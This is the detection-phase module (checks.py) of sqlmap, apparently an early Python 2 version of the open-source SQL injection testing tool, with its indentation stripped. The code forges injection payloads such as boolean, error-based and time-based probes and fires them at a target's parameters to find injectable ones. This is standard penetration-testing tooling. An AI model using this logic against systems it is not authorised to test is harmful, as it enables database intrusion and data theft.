sqlmap/lib/controller/checks.py

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#!/usr/bin/env python
"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
import re
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import socket
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import time
from lib.core.agent import agent
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from lib.core.common import beep
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from lib.core.common import extractRegexResult
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from lib.core.common import findDynamicContent
from lib.core.common import getComparePageRatio
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from lib.core.common import getCompiledRegex
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from lib.core.common import getErrorParsedDBMSes
from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getInjectionTests
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from lib.core.common import getUnicode
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from lib.core.common import popValue
from lib.core.common import pushValue
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from lib.core.common import randomInt
from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.common import removeDynamicContent
from lib.core.common import showStaticWords
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from lib.core.common import trimAlphaNum
from lib.core.common import wasLastRequestDBMSError
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from lib.core.common import wasLastRequestHTTPError
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from lib.core.common import DynamicContentItem
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from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
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from lib.core.data import paths
from lib.core.datatype import advancedDict
from lib.core.datatype import injectionDict
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from lib.core.enums import HTTPMETHOD
from lib.core.enums import NULLCONNECTION
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
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from lib.core.exception import sqlmapConnectionException
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from lib.core.exception import sqlmapGenericException
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from lib.core.exception import sqlmapNoneDataException
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from lib.core.exception import sqlmapUserQuitException
from lib.core.session import setDynamicMarkings
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from lib.core.session import setString
from lib.core.session import setRegexp
from lib.core.session import setTextOnly
from lib.core.settings import CONSTANT_RATIO
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from lib.core.settings import UPPER_RATIO_BOUND
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
from lib.request.templates import getPageTemplate
def unescape(string, dbms):
if dbms in unescaper and "WAITFOR DELAY " not in string:
return unescaper[dbms](string)
else:
return string
def unescapeDbms(payload, injection, dbms):
# If this is a DBMS-specific test (dbms), sqlmap identified the
# DBMS during previous a test (injection.dbms) or the user
# provided a DBMS (conf.dbms), unescape the strings between single
# quotes in the payload
if injection.dbms is not None:
payload = unescape(payload, injection.dbms)
elif dbms is not None:
payload = unescape(payload, dbms)
elif conf.dbms is not None:
payload = unescape(payload, conf.dbms)
return payload
def checkSqlInjection(place, parameter, value):
# Store here the details about boundaries and payload used to
# successfully inject
injection = injectionDict()
# Set the flag for sql injection test mode
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kb.testMode = True
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for test in getInjectionTests():
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try:
if kb.endDetection:
break
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title = test.title
stype = test.stype
clause = test.clause
# Skip test if the user's wants to test only for a specific
# technique
if conf.technique and isinstance(conf.technique, int) and stype != conf.technique:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "specified to test only for "
debugMsg += "%s" % PAYLOAD.SQLINJECTION[conf.technique]
logger.debug(debugMsg)
continue
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# Skip test if the risk is higher than the provided (or default)
# value
# Parse test's <risk>
if test.risk > conf.risk:
debugMsg = "skipping test '%s' because the risk " % title
debugMsg += "is higher than the provided"
logger.debug(debugMsg)
continue
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# Skip test if the level is higher than the provided (or default)
# value
# Parse test's <level>
if test.level > conf.level:
debugMsg = "skipping test '%s' because the level " % title
debugMsg += "is higher than the provided"
logger.debug(debugMsg)
continue
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# Skip DBMS-specific test if it does not match either the
# previously identified or the user's provided DBMS
if "details" in test and "dbms" in test.details:
dbms = test.details.dbms
else:
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dbms = None
if dbms is not None:
if injection.dbms is not None and injection.dbms != dbms:
debugMsg = "skipping test '%s' because " % title
debugMsg += "the back-end DBMS identified is "
debugMsg += "%s" % injection.dbms
logger.debug(debugMsg)
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continue
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if conf.dbms is not None and conf.dbms.lower() != dbms.lower():
debugMsg = "skipping test '%s' because " % title
debugMsg += "the provided DBMS is %s" % conf.dbms
logger.debug(debugMsg)
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continue
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if getErrorParsedDBMSes() and dbms not in getErrorParsedDBMSes()\
and kb.skipTests is None:
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message = "parsed error message(s) showed that the back-end DBMS could be '%s'." % getErrorParsedDBMSesFormatted()
message += " do you want to skip test payloads specific for other DBMSes? [Y/n]"
kb.skipTests = conf.realTest or readInput(message, default="Y") not in ("n", "N")
if kb.skipTests:
debugMsg = "skipping test '%s' because " % title
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debugMsg += "the parsed error message(s) showed "
debugMsg += "that the back-end DBMS could be "
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debugMsg += "%s" % getErrorParsedDBMSesFormatted()
logger.debug(debugMsg)
continue
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# Skip test if it is the same SQL injection type already
# identified by another test
if injection.data and stype in injection.data:
debugMsg = "skipping test '%s' because " % title
debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[stype]
debugMsg += "already been identified"
logger.debug(debugMsg)
continue
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# Skip test if it does not match the same SQL injection clause
# already identified by another test
clauseMatch = False
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for clauseTest in clause:
if injection.clause is not None and clauseTest in injection.clause:
clauseMatch = True
break
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if clause != [ 0 ] and injection.clause and injection.clause != [ 0 ] and not clauseMatch:
debugMsg = "skipping test '%s' because the clauses " % title
debugMsg += "differs from the clause already identified"
logger.debug(debugMsg)
continue
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infoMsg = "testing '%s'" % title
logger.info(infoMsg)
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# Parse test's <request>
comment = agent.getComment(test.request)
fstPayload = agent.cleanupPayload(test.request.payload, value)
fstPayload = unescapeDbms(fstPayload, injection, dbms)
fstPayload = "%s%s" % (fstPayload, comment)
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if stype != 4 and clause != [2, 3] and clause != [ 3 ]:
space = " "
else:
space = ""
if conf.prefix is not None and conf.suffix is not None:
# Create a custom boundary object for user's supplied prefix
# and suffix
boundary = advancedDict()
boundary.level = 1
boundary.clause = [ 0 ]
boundary.where = [ 1, 2, 3 ]
boundary.prefix = conf.prefix
boundary.suffix = conf.suffix
if " like" in boundary.suffix.lower():
if "'" in boundary.suffix.lower():
boundary.ptype = 3
elif '"' in boundary.suffix.lower():
boundary.ptype = 5
elif "'" in boundary.suffix:
boundary.ptype = 2
elif '"' in boundary.suffix:
boundary.ptype = 4
else:
boundary.ptype = 1
# Prepend user's provided boundaries to all others boundaries
conf.boundaries.insert(0, boundary)
for boundary in conf.boundaries:
injectable = False
# Skip boundary if the level is higher than the provided (or
# default) value
# Parse boundary's <level>
if boundary.level > conf.level:
# NOTE: shall we report every single skipped boundary too?
continue
# Skip boundary if it does not match against test's <clause>
# Parse test's <clause> and boundary's <clause>
clauseMatch = False
for clauseTest in test.clause:
if clauseTest in boundary.clause:
clauseMatch = True
break
if test.clause != [ 0 ] and boundary.clause != [ 0 ] and not clauseMatch:
continue
# Skip boundary if it does not match against test's <where>
# Parse test's <where> and boundary's <where>
whereMatch = False
for where in test.where:
if where in boundary.where:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's <prefix>, <suffix> and <ptype>
prefix = boundary.prefix if boundary.prefix else ""
suffix = boundary.suffix if boundary.suffix else ""
ptype = boundary.ptype
# If the previous injections succeeded, we know which prefix,
# suffix and parameter type to use for further tests, no
# need to cycle through the boundaries for the following tests
condBound = (injection.prefix is not None and injection.suffix is not None)
condBound &= (injection.prefix != prefix or injection.suffix != suffix)
condType = injection.ptype is not None and injection.ptype != ptype
if condBound or condType:
continue
# For each test's <where>
for where in test.where:
templatePayload = None
# Threat the parameter original value according to the
# test's <where> tag
if where == 1:
origValue = value
elif where == 2:
origValue = "-%s" % randomInt()
# Use different page template than the original one
# as we are changing parameters value, which will result
# most definitely with a different content
templatePayload = agent.payload(place, parameter, value, origValue)
elif where == 3:
origValue = ""
kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)
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# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string
boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, fstPayload, suffix)
boundPayload = boundPayload.strip()
boundPayload = agent.cleanupPayload(boundPayload, value)
reqPayload = agent.payload(place, parameter, value, boundPayload)
# Perform the test's request and check whether or not the
# payload was successful
# Parse test's <response>
for method, check in test.response.items():
check = agent.cleanupPayload(check, value)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
sndPayload = agent.cleanupPayload(test.response.comparison, value)
sndPayload = unescapeDbms(sndPayload, injection, dbms)
sndPayload = "%s%s" % (sndPayload, comment)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' <payload><comment> '
# string
boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, sndPayload, suffix)
boundPayload = boundPayload.strip()
boundPayload = agent.cleanupPayload(boundPayload, value)
cmpPayload = agent.payload(place, parameter, value, boundPayload)
# Useful to set kb.matchRatio at first based on
# the False response content
kb.matchRatio = None
_ = Request.queryPage(cmpPayload, place, raise404=False)
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# Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False)
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if trueResult:
falseResult = Request.queryPage(cmpPayload, place, raise404=False)
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# Perform the test's False request
if not falseResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
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injectable = True
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# In case of error-based or UNION query SQL injections
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's <grep> regular expression
reqBody, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
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output = extractRegexResult(check, reqBody, re.DOTALL | re.IGNORECASE)
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if output:
result = output.replace(kb.misc.space, " ") == "1"
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if result:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
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injectable = True
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# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
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if trueResult:
# Confirm test's results
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
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if trueResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
# Feed with the boundaries details only the first time a
# test has been successful
if injection.place is None or injection.parameter is None:
if place == PLACE.UA:
injection.parameter = conf.agent
else:
injection.parameter = parameter
injection.place = place
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.clause = clause
if "vector" in test and test.vector is not None:
vector = "%s%s" % (test.vector, comment)
else:
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vector = None
# Feed with test details every time a test is successful
injection.data[stype] = advancedDict()
injection.data[stype].title = title
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload, False)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].comment = comment
injection.data[stype].matchRatio = kb.matchRatio
injection.data[stype].templatePayload = templatePayload
if hasattr(test, "details"):
for detailKey, detailValue in test.details.items():
if detailKey == "dbms" and injection.dbms is None:
injection.dbms = detailValue
kb.dbms = detailValue
elif detailKey == "dbms_version" and injection.dbms_version is None:
injection.dbms_version = detailValue
kb.dbmsVersion = [ detailValue ]
elif detailKey == "os" and injection.os is None:
injection.os = detailValue
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if conf.beep or conf.realTest:
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beep()
# There is no need to perform this test for other
# <where> tags
break
if injectable is True:
# There is no need to perform this test with others
# boundaries
break
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except KeyboardInterrupt:
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warnMsg = "Ctrl+C detected in detection phase"
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logger.warn(warnMsg)
message = "How do you want to proceed? [(S)kip test/(e)nd detection phase/(n)ext parameter/(q)uit]"
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test = readInput(message, default="S")
if not test or test[0] in ("s", "S"):
pass
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elif test[0] in ("n", "N"):
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return None
elif test[0] in ("e", "E"):
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kb.endDetection = True
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elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
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finally:
# Flush the flag
kb.testMode = False
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# Return the injection object
if injection.place is not None and injection.parameter is not None:
return injection
else:
return None
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def heuristicCheckSqlInjection(place, parameter, value):
if kb.nullConnection:
debugMsg = "heuristic checking skipped "
debugMsg += "because NULL connection used"
logger.debug(debugMsg)
return
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prefix = ""
suffix = ""
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if conf.prefix or conf.suffix:
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if conf.prefix:
prefix = conf.prefix
if conf.suffix:
suffix = conf.suffix
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payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
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payload = agent.payload(place, parameter, value, payload)
Request.queryPage(payload, place, content=True, raise404=False)
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result = wasLastRequestDBMSError()
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infoMsg = "heuristic test shows that %s " % place
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infoMsg += "parameter '%s' might " % parameter
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if result:
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infoMsg += "be injectable (possible DBMS: %s)" % (getErrorParsedDBMSesFormatted() or 'Unknown')
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logger.info(infoMsg)
else:
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infoMsg += "not be injectable"
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logger.warn(infoMsg)
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return result
def simpletonCheckSqlInjection(place, parameter, value):
"""
This is a function for the quickest and simplest
sql injection check (e.g. AND 1=1) - only works
with integer parameters
"""
result = False
randInt = randomInt()
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randStr = randomStr()
if value.isdigit():
payload = "%s AND %d=%d" % (value, randInt, randInt)
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else:
return False
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payload = agent.payload(place, parameter, value, payload)
firstPage, _ = Request.queryPage(payload, place, content=True, raise404=False)
if not (wasLastRequestDBMSError() or wasLastRequestHTTPError()):
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if getComparePageRatio(kb.originalPage, firstPage, filtered=True) > CONSTANT_RATIO:
payload = "%s AND %d=%d" % (value, randInt, randInt+1)
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payload = agent.payload(place, parameter, value, payload)
secondPage, _ = Request.queryPage(payload, place, content=True, raise404=False)
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result = getComparePageRatio(firstPage, secondPage, filtered=True) <= CONSTANT_RATIO
infoMsg = "simpleton test shows that %s " % place
infoMsg += "parameter '%s' might " % parameter
if result:
infoMsg += "be injectable"
logger.info(infoMsg)
else:
infoMsg += "not be injectable"
logger.warn(infoMsg)
return result
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def checkDynParam(place, parameter, value):
"""
This function checks if the url parameter is dynamic. If it is
dynamic, the content of the page differs, otherwise the
dynamicity might depend on another parameter.
"""
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kb.matchRatio = None
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infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
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randInt = randomInt()
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payload = agent.payload(place, parameter, value, getUnicode(randInt))
dynResult = Request.queryPage(payload, place, raise404=False)
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if True == dynResult:
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return False
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
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randInt = randomInt()
payload = agent.payload(place, parameter, value, getUnicode(randInt))
dynResult = Request.queryPage(payload, place, raise404=False)
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return not dynResult
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def checkDynamicContent(firstPage, secondPage):
"""
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This function checks for the dynamic content in the provided pages
"""
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if kb.nullConnection:
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debugMsg = "dynamic content checking skipped "
debugMsg += "because NULL connection used"
logger.debug(debugMsg)
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return
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if conf.longestCommon:
debugMsg = "dynamic content checking skipped "
debugMsg += "because longest common comparison used"
logger.debug(debugMsg)
return
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conf.seqMatcher.set_seq1(firstPage)
conf.seqMatcher.set_seq2(secondPage)
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# In case of an intolerable difference turn on dynamicity removal engine
if conf.seqMatcher.quick_ratio() <= UPPER_RATIO_BOUND:
findDynamicContent(firstPage, secondPage)
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count = 0
while not Request.queryPage():
count += 1
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if count > conf.retries:
warnMsg = "target url is too dynamic. "
warnMsg += "switching to --text-only. "
logger.warn(warnMsg)
conf.textOnly = True
setTextOnly()
return
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warnMsg = "target url is heavily dynamic"
warnMsg += ", sqlmap is going to retry the request"
logger.critical(warnMsg)
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secondPage, _ = Request.queryPage(content=True)
findDynamicContent(firstPage, secondPage)
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setDynamicMarkings(kb.dynamicMarkings)
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def checkStability():
"""
This function checks if the URL content is stable requesting the
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same page two times with a small delay within each request to
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assume that it is stable.
In case the content of the page differs when requesting
the same page, the dynamicity might depend on other parameters,
like for instance string matching (--string).
"""
infoMsg = "testing if the url is stable, wait a few seconds"
logger.info(infoMsg)
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firstPage = kb.originalPage # set inside checkConnection()
time.sleep(1)
secondPage, _ = Request.queryPage(content=True)
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kb.pageStable = (firstPage == secondPage)
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if kb.pageStable:
if firstPage:
logMsg = "url is stable"
logger.info(logMsg)
else:
errMsg = "there was an error checking the stability of page "
errMsg += "because of lack of content. please check the "
errMsg += "page request results (and probable errors) by "
errMsg += "using higher verbosity levels"
raise sqlmapNoneDataException, errMsg
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else:
warnMsg = "url is not stable, sqlmap will base the page "
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warnMsg += "comparison on a sequence matcher. If no dynamic nor "
warnMsg += "injectable parameters are detected, or in case of "
warnMsg += "junk results, refer to user's manual paragraph "
warnMsg += "'Page comparison' and provide a string or regular "
warnMsg += "expression to match on"
logger.warn(warnMsg)
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message = "how do you want to proceed? [C(ontinue)/s(tring)/r(egex)/q(uit)] "
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if not conf.realTest:
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test = readInput(message, default="C")
else:
test = None
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if test and test[0] in ("q", "Q"):
raise sqlmapUserQuitException
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elif test and test[0] in ("s", "S"):
showStaticWords(firstPage, secondPage)
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message = "please enter value for parameter 'string': "
test = readInput(message)
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if test:
conf.string = test
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if kb.nullConnection:
debugMsg = "turning off NULL connection "
debugMsg += "support because of string checking"
logger.debug(debugMsg)
kb.nullConnection = None
else:
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errMsg = "Empty value supplied"
raise sqlmapNoneDataException, errMsg
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elif test and test[0] in ("r", "R"):
message = "please enter value for parameter 'regex': "
test = readInput(message)
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if test:
conf.regex = test
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if kb.nullConnection:
debugMsg = "turning off NULL connection "
debugMsg += "support because of regex checking"
logger.debug(debugMsg)
kb.nullConnection = None
else:
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errMsg = "Empty value supplied"
raise sqlmapNoneDataException, errMsg
else:
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checkDynamicContent(firstPage, secondPage)
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return kb.pageStable
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def checkString():
if not conf.string:
return True
condition = (
kb.resumedQueries.has_key(conf.url) and
kb.resumedQueries[conf.url].has_key("String") and
kb.resumedQueries[conf.url]["String"][:-1] == conf.string
)
if condition:
return True
infoMsg = "testing if the provided string is within the "
infoMsg += "target URL page content"
logger.info(infoMsg)
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page, _ = Request.queryPage(content=True)
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if conf.string in page:
setString()
else:
warnMsg = "you provided '%s' as the string to " % conf.string
warnMsg += "match, but such a string is not within the target "
warnMsg += "URL page content original request, sqlmap will "
warnMsg += "keep going anyway"
logger.warn(warnMsg)
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return True
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def checkRegexp():
if not conf.regexp:
return True
condition = (
kb.resumedQueries.has_key(conf.url) and
kb.resumedQueries[conf.url].has_key("Regular expression") and
kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp
)
if condition:
return True
infoMsg = "testing if the provided regular expression matches within "
infoMsg += "the target URL page content"
logger.info(infoMsg)
page, _ = Request.queryPage(content=True)
if re.search(conf.regexp, page, re.I | re.M):
setRegexp()
else:
warnMsg = "you provided '%s' as the regular expression to " % conf.regexp
warnMsg += "match, but such a regular expression does not have any "
warnMsg += "match within the target URL page content, sqlmap "
warnMsg += "will keep going anyway"
logger.warn(warnMsg)
return True
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def checkNullConnection():
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"""
Reference: http://www.wisec.it/sectou.php?id=472f952d79293
"""
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infoMsg = "testing NULL connection to the target url"
logger.info(infoMsg)
try:
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page, headers = Request.getPage(method=HTTPMETHOD.HEAD)
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if not page and 'Content-Length' in headers:
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kb.nullConnection = NULLCONNECTION.HEAD
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infoMsg = "NULL connection is supported with HEAD header"
logger.info(infoMsg)
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else:
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page, headers = Request.getPage(auxHeaders={"Range": "bytes=-1"})
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if page and len(page) == 1 and 'Content-Range' in headers:
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kb.nullConnection = NULLCONNECTION.RANGE
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infoMsg = "NULL connection is supported with GET header "
infoMsg += "'%s'" % kb.nullConnection
logger.info(infoMsg)
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except sqlmapConnectionException, errMsg:
errMsg = getUnicode(errMsg)
raise sqlmapConnectionException, errMsg
return kb.nullConnection is not None
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def checkConnection(suppressOutput=False):
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try:
socket.gethostbyname(conf.hostname)
except socket.gaierror:
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errMsg = "host '%s' does not exist" % conf.hostname
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raise sqlmapConnectionException, errMsg
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if not suppressOutput:
infoMsg = "testing connection to the target url"
logger.info(infoMsg)
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try:
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page, _ = Request.queryPage(content=True)
kb.originalPage = kb.pageTemplate = page
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kb.errorIsNone = False
if wasLastRequestDBMSError():
warnMsg = "there is an (DBMS) error found in the content of provided target url"
warnMsg += " which could interfere with the results of the tests"
logger.warn(warnMsg)
elif wasLastRequestHTTPError():
warnMsg = "there is an (HTTP) error found in the content of provided target url"
warnMsg += " which could interfere with the results of the tests"
logger.warn(warnMsg)
else:
kb.errorIsNone = True
except sqlmapConnectionException, errMsg:
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errMsg = getUnicode(errMsg)
raise sqlmapConnectionException, errMsg
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return True